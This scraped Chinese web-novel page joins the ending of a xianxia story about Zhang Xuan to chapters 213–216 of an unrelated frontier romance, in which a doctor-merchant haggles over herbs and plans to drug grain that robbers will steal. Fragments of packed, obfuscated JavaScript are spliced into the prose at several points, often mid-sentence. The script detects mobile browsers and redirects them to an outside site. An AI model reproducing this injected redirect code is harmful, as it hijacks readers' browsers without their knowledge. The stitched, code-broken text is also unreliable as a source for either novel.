d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第213章 交换条件 姜绾歌掀开帐篷帘子走出来,清晨的戈壁寒气尚未完全散去。一个士兵恭敬地双手捧着一个沉甸甸的粗布袋子递过来。 “姜大夫,将军让小的交给您。”士兵道。 姜绾歌挑了挑眉,伸手接过。布袋入手颇沉,她解开系绳往里一看——十几颗雪白森然、足有拇指大小的狼牙静静地躺在里面,颗颗尖端锐利如刃,透着一股原始的凶悍气息。 “将军说这是前些日子猎到的草原狼王牙,是上好的战利品,特赏给姜大夫。”士兵解释道,语气里带着一丝不易察觉的敬畏。 姜绾歌掂了掂袋子,入手冰凉坚硬。好东西!在危机四伏的戈壁和边关,这玩意儿可比金银实在。无论是打磨成护身符震慑宵小,还是……她眼中精光一闪,瞬间有了决断。 “替我谢过将军,这礼,我收下了。”她点点头,语气坦然。 士兵行礼告退。姜绾歌拎着袋子,看着里面锋利的狼牙,嘴角勾起一抹利落的弧度。 “石头!”她扬声喊道。 石头闻声麻利地从马车里探出身:“小姐?” “接着!”姜绾歌手腕一扬,将布袋抛了过去,“把这些狼牙,给我仔细打磨成**箭箭头!要最锋利的倒钩!” “啊?磨成箭头?”石头接住袋子,看着里面品相极佳的狼牙,有些舍不得,“小姐,这狼牙品相这么好,磨了多可惜啊!镶个柄当**,或者串起来,那才叫威风呢!” “威风?”姜绾歌睨了他一眼,语气带着点恨铁不成钢的直率,“威风能当饭吃,还是能保命?这玩意儿天生就是杀敌的料!质地比寻常铁箭头硬得多,打磨好了,穿透皮甲像扎纸!关键时候,这就是咱们保命的家伙什!别废话,赶紧磨!” 她的考量极其实际,将珍贵的礼物瞬间转化为实用的战力,这份果决和生存智慧展露无遗。 “是!明白了!”石头被她说服,不再犹豫,小心地把袋子收好,“我这就找家伙事,路上就开始磨!” 当晚,躺在简陋的铺盖里,姜绾歌望着帐篷顶透进来的稀疏星光,脑子里难得地有些纷乱。今日遭遇厉战霆,纯属意外。但这个威名赫赫的镇国将军,却给她留下了极深的印象。 无关乎他显赫的身份,而是他那股子纯粹的军人气魄——剜肉疗毒时咬碎牙也不吭一声的硬骨头。 明明疼得脸色煞白,看向她时眼神里那份毫不掩饰的激赏和信任。 还有那份身处高位却并不倨傲、能痛快认栽的磊落……都透着一股与她往日接触的京城权贵截然不同的气息。 “啧,想这些有的没的干嘛?”姜绾歌猛地翻了个身,把脸埋进带着尘土味的铺盖里,像是要甩掉脑子里不合时宜的杂念。 明天还要赶路去漠北收购紫草,那才是正事!是关乎杏林堂和醉仙楼接下来几个月生意的关键!至于厉战霆……萍水相逢,救他一命,银货两讫,江湖路远,各奔前程便是。 只是她不知道,不远处的主帅营帐内,厉战霆同样毫无睡意。 肩上的伤处传来阵阵隐痛,却远不及脑海中那个身影清晰——她专注救人的侧脸,下手时那份狠准稳,说话时又冲又直却句句在理的劲儿,还有……发间那股若有似无、混合着药草和硝烟气息的独特味道。 这个叫姜绾歌的女人,像戈壁滩上突然绽放的带刺野花,强悍、鲜活,令人过目难忘。 戈壁的清晨,寒风依旧料峭。姜绾歌钻出帐篷时,篝火旁已围了几个人。 厉战霆正坐在那里,由军医小心地解开绷带检查伤口。 “将军,感觉如何?”姜绾歌走过去,目光习惯性地先落在伤口上——红肿已明显消退,边缘开始有愈合迹象。 不错,她的药效和她预判的一样。 “好多了。”厉战霆试着活动了一下左肩,虽然动作仍显僵硬滞涩,但那股钻心的剧痛已大大减轻,取而代之的是一种愈合期的酸胀感。“姜大夫妙手回春,厉某佩服。”他看向姜绾歌,眼神真诚。 “药对症,伤自然好得快。”姜绾歌坦然接受这份赞赏,随即正色提醒,“不过将军也别大意。伤口正在收口长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144310|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,最忌牵拉用力。这几日,骑马挥刀这类事,想都别想。”她的话依旧直接,带着医者的权威,不容置疑。 厉战霆颔首表示明白,转而问道:“姜大夫此行,是要深入漠北?” “不错,”姜绾歌没有隐瞒,“去漠北镇收一批上好的紫草。听闻那边因战事胶着,药材积压,价钱走低,正是入手的好时机。”她坦陈商业目的,毫不扭捏。 厉战霆闻言眉头微蹙:“漠北如今是前线重镇,虽在我军掌控之下,但城外胡人游骑出没频繁,马匪更是猖獗。你只带这点人手……”他目光扫过石头和阿福,“风险极大。” “富贵险中求,这道理我懂。”姜绾歌神色平静,带着一股闯荡江湖养成的悍勇。 “况且,”她拍了拍腰间悬挂的连**,又指了指不远处马车旁正在打磨狼牙箭头的石头,“我也不是任人拿捏的软柿子。自保之力,还是有的。”她 的自信源于充分的准备和对自身实力的认知。 厉战霆看着她沉静中透着锐气的眼神,想起她昨夜救治自己时的果决和那腰间的连**,深知此女非同一般闺阁。 他沉吟片刻,从怀中摸出一物——一枚沉甸甸的青铜令牌,正面阳刻着苍劲有力的“镇国”二字,背面则是盘绕的龙纹,透着肃杀与权威。 “此乃我军中特制的通行令牌。”厉战霆将令牌递向姜绾歌,“持此令,在我大梁边军辖境内,各关卡、哨所、巡逻队见之如见我,必不会为难。可保你此行畅通,减少不必要的麻烦。” 姜绾歌眼睛一亮,伸手接过。 令牌入手冰凉沉重,上面的纹路硌着掌心。 这确实是个好东西!在兵荒马乱的边境,这枚令牌的价值远胜千金!她抬头看向厉战霆:“条件?” 她深知天下没有白吃的午餐,尤其对方是位高权重的将军。 厉战霆眼中闪过一丝赞赏,他就喜欢这份通透。“药。”他言简意赅,“我营中急需上好的金疮药。你昨夜所用之药,效果极佳。若你愿提供,此令便作交换。” 第214章 收紫草 军需!而且是长期稳定的大宗采购!姜绾歌心中瞬间算盘拨响。这可比零散售卖利润丰厚得多,更是打通军方渠道的绝佳机会! “要多少?何种品质?”她直接切入核心,商人本色尽显。 “三箱。”厉战霆用手比划了一个标准木箱的大小,“品质需与你昨夜所用一致,药效必须保证。价钱按市价走。”他开出的条件很公道。 “成交!”姜绾歌毫不犹豫,干脆利落,“不过我此行是为紫草,并未携带如此多成药。待我自漠北返回京城,制成药品后,亲自押送至将军处,如何?”她提出了可行的履行方案。 “可。”厉战霆点头应允,“半月之内,我军主力应仍在此区域驻扎休整。你随时可来。”他给出了明确的时间和地点。 两人击掌为盟,清脆的响声在清晨的戈壁上回荡。一桩各取所需的交易就此达成。姜绾歌将令牌仔细贴身收好,心中大定。有了这“护身符”,漠北之行安全系数陡增。 “还有一事,”厉战霆补充道,神色严肃了些,“漠北镇虽在我军手中,但城外并不太平。胡人轻骑神出鬼没,劫掠商队之事时有发生。入城之后也需谨慎,早去早回。” “多谢将军提点,我省得。”姜绾歌抱拳,“那我们就此别过,将军保重。” “一路顺遂。”厉战霆站起身相送,目送着那辆不起眼的马车在戈壁晨光中渐行渐远,心中竟生出几分期待——期待她带着紫草平安归来,更期待她送来那救命的金疮药,以及……再见她一面。 手持通行令,姜绾歌一行果然畅通无阻。沿途遇到的几队巡逻骑兵,查验令牌后无不肃然行礼,痛快放行。两日后,风尘仆仆的马车终于抵达了饱经战火的漠北镇。 这座边陲要塞,城墙斑驳,处处可见修补的痕迹。城内景象更是萧条,街道冷清,行人稀少,大半店铺门窗紧闭,空气中弥漫着紧张和物资匮乏的气息。 “小姐,先找个落脚地?”石头看着略显荒凉的街道问道。 “不急。”姜绾歌利落地跳下马车,拍了拍身上的尘土,目光锐利地扫视着街道,“趁天色还早,摸清药材行情要紧。石头,打听一下,镇上最大的几家药商铺子在哪,口碑如何。” 石头领命而去,很快带回消息。姜绾歌选定了一家据说存货最多、老板姓王的药铺,径直走了进去。 店铺不大,光线有些昏暗。柜台后的王老板是个精瘦的中年人,眼珠灵活地转动着,带着商人特有的精明。看到有客上门,尤其还是生面孔,他立刻打起精神。 “姑娘是……?”王老板试探着问。 “京城来的,收药。”姜绾歌开门见山,声音清亮,同时将一小锭分量十足的银子“啪”地一声轻放在柜台上,“听说你这儿有上好的漠北紫草?” 看到银子,王老板的眼睛瞬间亮了。战事以来,商路断绝,药材积压严重,他已经很久没见到这么大方的买家了! “有!有!姑娘真是行家!”王老板脸上堆满笑容,立刻变得热情无比,“咱这儿的紫草,可是漠北一绝!根粗色正,药性十足!”他一边说,一边麻利地从后面搬出几个鼓囊囊的麻袋,解开袋口。 姜绾歌走上前,也不嫌脏,伸手抓出一把紫草,凑到鼻尖闻了闻,又仔细捻开根须查看色泽和干燥程度。经验告诉她,这确实是地道的好货。 “什么价?”她放下紫草,抬眼看向王老板,眼神平静无波。 “哎哟,姑娘,这可是顶好的货!”王老板搓着手,一脸“亏本”的表情,“搁在太平年月,少说也得十二三两银子一斤!如今这光景……唉,算您十两!不能再低了!”他先抬价,等着对方砍价。 “十两?”姜绾歌轻笑一声,那笑声里听不出喜怒,“王老板,明人不说暗话。我从京城千里迢迢过来,就是知道这边药材压手,价钱走低。你这价比京城行市还高,是打量我人生地不熟,好糊弄?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144311|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她点破对方心思,语气不疾不徐,却带着压力。 王老板脸色一僵,讪笑道:“姑娘这话说的……那您看多少合适?” “四两。”姜绾歌报出一个数字,语气斩钉截铁。 “四两?!”王老板差点跳起来,一脸肉痛,“姑娘!您这刀也忒快了吧?四两连本钱都不够啊!您看看这成色……” “成色是不错,”姜绾歌打断他,语气冷静地分析着现实,“可王老板,眼下是什么时节?胡人的马蹄声说不定就在几十里外!你这铺子,你这药材,守得住吗?现在换成真金白银揣进怀里,才是实在!四两,现银交易,你这里有多少,我全要了。过了这村,可未必有这店了。” 她的话句句戳中商人最担心的痛点——战火风险和资金周转。这不是简单的砍价,是基于时局的精准判断和谈判策略。 王老板被她说得额头冒汗,内心挣扎。他知道姜绾歌说的没错,这药材砸在手里,万一城破,一文不值。可四两……实在肉疼。 “六两!”他咬咬牙,报出底价,“姑娘,六两!我这有八百斤上好的紫草,您全拿走!这真是最低了,再低我宁可烂库里!”他做出最后的挣扎。 姜绾歌心中飞快盘算:八百斤,六两一斤,四千八百两。比起京城动辄十五两以上的价格,这利润空间已经非常可观。而且对方库存量不错。 “成交!”她不再纠缠,爽快拍板,“验货,没问题,银票立刻点给你。” 验货过程严谨而高效。姜绾歌亲自抽查了几袋,确认品质如一。 双方银货两讫,王老板拿着厚厚一沓银票,又是心疼又是松了口气。 姜绾歌则拿到了第一批优质货源。 接下来几天,姜绾歌化身最精明的猎手,带着石头和阿福穿梭在漠北镇大小药铺和囤货的药农之间。 她深谙谈判之道,既利用战乱压价,又保证出价在对方心理底线之上,不让交易崩盘。 第215章 收药风波 凭借通行令带来的便利和充足的银钱,几天下来,竟让她又陆续收购了两千多斤品质上乘的紫草,均价牢牢控制在五两到七两之间。 “小姐!咱们足足收了三千斤了!”石头清点着堆满临时租用仓库的麻袋,声音带着兴奋的颤抖,“按京城现在的行情,这批紫草运回去,翻个倍都是少的!起码能赚这个数!”他伸出两根手指。 姜绾歌看着堆积如山的紫草,眼中虽有喜色,头脑却异常清醒:“货还在漠北的地界上,银子还没落袋,现在高兴太早。路上几百里戈壁荒原,变数太多。赶紧联系可靠的镖队或者大商队,准备押运回去才是正经。” 她没有被眼前的利润冲昏头脑,始终关注着最大的风险点——运输安全。 变故来得比预想的更快。 就在他们紧锣密鼓联系运力、准备启程的前一天,一队风尘仆仆的车马驶入了漠北镇。 为首的是一辆装饰华丽的马车,下来一个脑满肠肥、穿着绸缎的胖子,正是关内来的大粮商钱老板。 钱老板带着伙计,直接在镇中心最显眼的地方摆开阵势,扯开嗓门吆喝起来。 “各位父老乡亲!军爷们!新粮到埠喽!上好的白米、麦子!数量有限,欲购从速啊!现价……二十两银子一石!”那“二十两”三个字喊得格外响亮。 “二十两一石米?!”围观的人群顿时炸开了锅,惊怒交加。这价格,比战前足足翻了四五倍! “黑心肝的奸商!这是要喝咱们的血啊!”有老农气得浑身发抖。 “军爷们还要吃饭呢……这可怎么办?”士兵们也愁容满面。 “唉,这世道……”绝望的叹息声此起彼伏。 石头也看得义愤填膺:“小姐,您看!这姓钱的也太不是东西了!这简直是要人命啊!” 姜绾歌站在人群外围,冷眼看着钱老板唾沫横飞地叫卖,以及周围百姓和士兵脸上的绝望与愤怒。 她神色平静,并无多少动容。乱世之中,趁火**是商人的本性,她虽不齿,却也明白这是常态。 她不是救苦救难的菩萨,首要任务是保住自己这三千斤紫草的安全和利润。 “世道如此,各凭本事吃饭罢了。”她语气平淡地对石头说,“他卖他的天价粮,我们收我们的便宜药,井水不犯河水。抓紧办我们的事。” 钱老板哄抬粮价的行为,如同在滚油里浇了一瓢冷水,瞬间引爆了漠北镇原本就紧绷的生存危机。 最直接的影响,便是那些依靠出售药材换取生活必需品的药农和中小药商! 粮价飞涨,意味着他们辛苦采挖或囤积的药材,能换到的救命粮食急剧缩水! 恐慌像瘟疫一样蔓延开来。为了活命,为了能抢在钱老板的粮食被买空前换到一点口粮,大量的药农和中小药商开始疯狂地抛售手中的药材! 一时间,漠北镇的药材市场上,涌入了远超平时的货量。 卖家急于脱手,买家寥寥无几,价格开始出现断崖式的暴跌! 之前姜绾歌谈妥的五到七两的价格,瞬间成了难以企及的高位。新的报价,三、四两,甚至二两的都有!整个药材市场,陷入了恐慌性的抛售潮! 姜绾歌站在仓库门口,看着街上行色匆匆、脸上写满焦虑、背着药材篓子四处求售的药农,又看了看仓库里堆积如山、刚刚以相对“高价”收来的三千斤紫草,眉头紧紧锁了起来。 她之前的判断没错,粮商的出现确实“影响”到了她的生意,但这影响的方式和烈度,远超她的预估! 这已不仅仅是压价的问题,而是整个市场预期和供需关系的彻底崩坏! “小姐……这……咱们的货……”石头也意识到了问题的严重性,声音有些发颤。他们高价收的货,眼看就要因为这场突如其来的恐慌抛售而大幅贬值! 姜绾歌没有说话,她的大脑在飞速运转。眼前的危机,是危,也是机! 恐慌抛售意味着……更低的收购成本! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157234|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但前提是,她必须有足够的资金和……更重要的,有办法把这海量的、价格暴跌的药材安全地运出去! 她那三千斤的仓库,此刻仿佛成了一个烫手的山芋,也像是一个充满诱惑的起点。 她望着镇中心钱老板那熙熙攘攘的粮摊,又看了看街上绝望的药农,一个更大胆、更冒险的“暗度陈仓”计划,开始在她心中急速成形。 风险巨大,但若能成功,回报也将是空前的!这漠北之行,注定不会平静收场了。 “小姐!又有几家药农找上门,说有三两银子一斤的紫草!问咱们还要不要?”阿福急匆匆跑进临时租用的仓库,脸上带着一丝捡到便宜的兴奋。 三两?姜绾歌心头猛地一跳,这价格简直是**大甩卖!比她之前收购的最低五两还低近一半!恐慌抛售的浪潮比她预想的更猛烈。 “要!有多少要多少!”她毫不犹豫,斩钉截铁,“告诉他们,现银交易,货到付款!有多少我收多少!”商机稍纵即逝,她必须抓住这恐慌情绪下的抄底机会! 阿福领命飞奔而去。很快,一袋袋品质依旧上乘、却被绝望的药农以白菜价抛售的紫草,源源不断地运进了仓库。 姜绾歌亲自验货付钱,动作麻利。短短半天功夫,仓库里又堆起了一千多斤,总量达到了惊人的四千多斤! 看着堆积如山的紫草,石头飞快地拨着算盘,声音带着难以置信的激动:“小姐!按这收价,运回京城,刨去所有开销,咱们起码能净赚三万两往上!这趟漠北,真是来对了!” 姜绾歌眼中也闪烁着兴奋的光芒,但这份兴奋很快被更深的忧虑取代。 货是便宜了,可怎么安全运出去?四千多斤,目标太大了!她立刻吩咐:“石头,阿福,马上去联系镇上所有能跑长途的马车、骡队!还有,打听有没有可靠的镖局或者顺路回关内的大商队愿意捎带!价钱好商量,关键是快、稳!” 不料,麻烦就像嗅到血腥味的鬣狗,紧随而至。 第216章 缓兵之计 在他们紧锣密鼓联系运力时,钱粮商那个胖子,腆着肚子,带着几个满脸横肉、眼神不善的打手,大摇大摆地堵在了仓库门口。 “哟,姜老板!忙着呢?” 钱老板皮笑肉不笑地拱拱手,绿豆小眼滴溜溜地扫视着仓库里堆积的麻袋。 “啧啧,真是大手笔啊!听说您这几天可是把漠北的好紫草都扫干净了?发了大财啊!” 姜绾歌心中警铃大作,面上却不动声色,冷淡地回道:“钱老板消息倒是灵通。小本买卖,糊口而已。您找我有事?” “嘿嘿,明人不说暗话。”钱老板搓着手,挤出一脸“善意”的笑容,“姜老板这货,价值不菲啊。这千里迢迢运回京城,路上可不太平。胡人游骑、马匪强梁,防不胜防啊!万一有个闪失……” 他故意顿了顿,观察着姜绾歌的反应,见她依旧神色平静,才接着说:“我们商队呢,人多势众,护卫精良,常年走这条路,熟门熟路。姜老板要是信得过,这批货,我们顺路帮你押运回京城!安全,绝对有保障!” “哦?那费用怎么算?”姜绾歌挑眉,语气平淡,心中冷笑,知道重头戏来了。 “费用嘛……”钱老板伸出五根胖乎乎的手指晃了晃,“好说!咱们按道上规矩,收个‘辛苦钱’,不多,就您这批货总价值的……五成!保您一路平安,顺顺当当!” “五成?!”一旁的石头气得脸都红了,差点跳起来。这简直是明抢! 姜绾歌眼神瞬间冷了下来,像淬了冰。 她看着钱老板那张贪婪的脸,语气带着一丝嘲讽:“钱老板这‘辛苦钱’,可真是够‘辛苦’的。一半的货价?您这比马匪还狠呐。” “哎,姜老板这话就不对了!” 钱老板脸一沉,笑容也收了起来,露出几分狰狞。 “我们是正经商人,讲的是信誉!五成,买的是平安!您要是不乐意……” 他身后的几个打手适时地向前逼近一步,手按在了腰间的刀柄上,威胁之意不言而喻。 “那这一路山高水远,戈壁荒滩的,出点啥意外,可就怪不得旁人了!您说是不是?” 赤裸裸的威胁! 姜绾歌的目光扫过那几个目露凶光的打手,又看了看钱老板志在必得的嘴脸。 硬拼? 她这边只有石头、阿福和几个临时雇的伙计,肯定吃亏。 她压下心头的怒火,脸上反而露出一丝“犹豫”和“为难”,沉默了片刻,才像是被逼无奈般开口。 “五成……确实太多了。钱老板,容我考虑一晚,明日此时,给你答复,如何?”这是缓兵之计。 钱老板以为她怕了,得意地笑起来:“行!姜老板是聪明人!那就明儿个,我等您的好消息!走!”他一挥手,带着打手扬长而去。 看着他们嚣张的背影,石头气得直跺脚:“小姐!这帮**不吐骨头的混蛋!摆明了是要抢!” “抢?”姜绾歌冷笑一声,眼神锐利如刀,哪还有半分刚才的“犹豫”,“既然他们想吃现成的,那我就让他们吃个够!撑死他们!” 她转身,语气斩钉截铁,“石头,阿福,召集所有人手,今晚,咱们给钱老板准备一份‘大礼’!” 夜幕降临,仓库里灯火通明。 姜绾歌站在一张简易的漠北地图前,手指精准地点在一个峡谷位置:“这里,鹰愁峡,是回京必经之路,两侧坡缓林密,最适合打埋伏。姓钱的贪心又心急,必定选在此地下手!” “小姐,咱们怎么办?”石头和阿福等人围拢过来。 “将计就计!”姜绾歌眼中闪过一丝狡黠的寒光,从药箱里取出几包碾磨得极细的白色粉末。 “这是上好的巴豆粉,药性霸道。他们长途跋涉劫了货,必定要生火造饭!”她指着地图上峡谷前方不远处一片相对开阔的河滩地,“这里,是他们最可能停下来休整做饭的地方!” 她迅速部署:“把这几包巴豆粉,均匀地掺进我们明天要带走的、放在最显眼位置的那几袋‘粮食’里!记住,只掺粮食!紫草一袋都不许动!动作要快,手脚要干净!” “小姐,万一……万一他们不吃这些粮呢?”阿福还是有些担心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157235|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哼,由不得他们不吃!”姜绾歌语气笃定。 “这帮人贪得无厌,抢了这么多‘好粮’,又赶了半天路,肚皮早空了!看见现成的米面,能忍住不煮?况且,他们只会防着咱们反抗,绝不会想到‘粮食’本身就有问题!这就是他们的死穴!” 计划敲定,众人立刻分头行动,悄无声息地完成了“加料”。 翌日清晨,姜绾歌的车队“如约”启程。几袋掺了猛料的“粮食”被刻意放在马车最上层,格外显眼。车队缓缓驶出漠北镇,气氛看似平静,实则暗流涌动。 “小姐,他们……真的会来吗?”阿福坐在车辕上,手心有些冒汗,忍不住低声问车厢里的姜绾歌。 “把心放肚子里。”姜绾歌的声音隔着帘子传来,异常沉稳,“贪心不足蛇吞象。盯紧点,快到鹰愁峡了。” 果然,车队刚驶入那处两坡夹峙、林木茂密的鹰愁峡不到一里地,前方的山坡后便呼啦啦涌出十几条手持利刃、蒙着面的彪形大汉,瞬间堵住了去路! 为首一人虽然蒙着脸,但那肥硕的身形,赫然便是钱老板! “呔!此山是我开!要想从此过,留下买路财!”一个匪徒扯着嗓子吼着老掉牙的切口。 钱老板阴恻恻地走上前,声音故意压低变调,却掩不住那股得意:“光要钱?打发叫花子呢?车上的货,还有那些粮食,爷爷们全要了!识相的快滚!” 姜绾歌“惊慌失措”地掀开车帘,声音带着“恐惧”的颤抖:“各……各位好汉!行行好!我们就是小本买卖的药商,这点货是我们的命根子啊!求好汉们高抬贵手,放我们一条生路吧!”她演得惟妙惟肖。 “命根子?哈哈!”钱老板大笑,贪婪的目光扫过车上的麻袋,“现在它是爷爷们的了!动手!全搬走!一粒米都不许留!” 他一挥手,匪徒们如狼似虎般扑了上来,粗暴地推开车夫和伙计,七手八脚地开始卸货。 